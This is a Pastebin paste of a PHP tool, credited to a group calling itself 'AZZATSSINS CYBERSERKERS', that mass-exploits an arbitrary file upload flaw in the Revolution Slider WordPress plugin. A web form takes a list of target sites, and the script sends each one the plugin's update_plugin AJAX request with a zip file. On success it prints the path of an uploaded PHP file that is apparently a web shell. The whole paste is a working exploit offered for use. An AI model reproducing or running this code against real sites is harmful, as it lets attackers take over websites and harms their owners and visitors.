Advertisement
CYBERSERKERS

AFU Revslider Exploiter

Nov 17th, 2015
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.50 KB | None | 0 0
  1. <meta content="XPLOITER BY AZZATSSINS CYBERSERKERS OF PSYCHOPATH" name="description" />
  2. <title>!!!- AFU | REVOLUTION SLIDER | AZZATSSINS | BN-IDBTE4M -!!!</title>
  3. <body style='color: #000000;background:url(http://azzat.wap.mu/files/1049320/IMG_20150725_103425.JPG) repeat scroll center top;background-attachment: fixed;SCROLLBAR-FACE-COLOR: #F1F1F1; MARGIN: 0px;SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; OVERFLOW: auto;'>
  4. <center>
  5. <form method="POST">
  6. <input style="margin:1px;padding:3px;max-width:90%;font-size:12px;background:#fff;width:60%;color:#333;border-radius:5px;border:3px solid #ddd;text-align:center" value="" type="text" name="azzatssins"/><input style="background:dodgerblue;margin:1px;width:15%;padding:6px;color:#fff;border:0;font-weight:bold;" type="submit"
  7. value="EXECUTE" /><br>
  8. </form>
  9. </center>
  10. <?php
  11. /** AZZATSSINS **/
  12.  
  13. /************************/******************************************
  14. azzatssinscyberserkers@gmail.com
  15. ******************************************/
  16.  
  17. $cafc = array(
  18.     "file"=>"azzatssins.zip"
  19. );
  20.  
  21. function hajar($yuerel, $dataAing=null) {
  22.     $cuih = curl_init();
  23.     curl_setopt($cuih, CURLOPT_URL, $yuerel);
  24.     if ($dataAing != null){
  25.         curl_setopt($cuih, CURLOPT_POST, true);
  26.         curl_setopt($cuih, CURLOPT_POSTFIELDS, $dataAing);
  27.     }
  28.     curl_setopt($cuih, CURLOPT_FOLLOWLOCATION, true);
  29.     curl_setopt($cuih, CURLOPT_RETURNTRANSFER, true);
  30.     curl_setopt($cuih, CURLOPT_SSL_VERIFYPEER, false);
  31.     $eks = curl_exec($cuih);
  32.     curl_close($cuih);
  33.     return $eks;
  34. }
  35.  
  36. $site =  $_POST['azzatssins'];
  37. $idbte4m = explode("\r\n", $site);
  38. if (!isset($site)) {
  39. } else {
  40.     foreach ($idbte4m as $uri) {
  41.         echo "<br>\n<center>****** <a href=azzatssinscyberserkers@gmail.com>AZZATSSINS</a> ******</center>";
  42.         echo "<br>\nTarget => " . $uri;
  43.         echo "\n";
  44.         $azzatssinscyberserkers = hajar($uri . "/wp-admin/admin-ajax.php", array(
  45.             "action" => "revslider_ajax_action",
  46.             "client_action" => "update_plugin",
  47.             "update_file" => $cafc['file'])
  48.         );
  49.         $jason = json_decode($azzatssinscyberserkers, true);
  50.         if ($jason['success'] == false || $jason['message'] == "Wrong request") {
  51.             echo "<br>\n[AFU] => <font color=red>NOT VULNERABLE</font>";
  52.         } else {
  53.             echo "<br>\n[AFU] => <font color=lime>SUCCESS</font>";
  54.             echo "\n[+] " . $uri . "/wp-content/plugins/revslider/temp/update_extract/revslider/azzatssins.php\n";
  55.  
  56.     }
  57. }
  58. }
  59. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement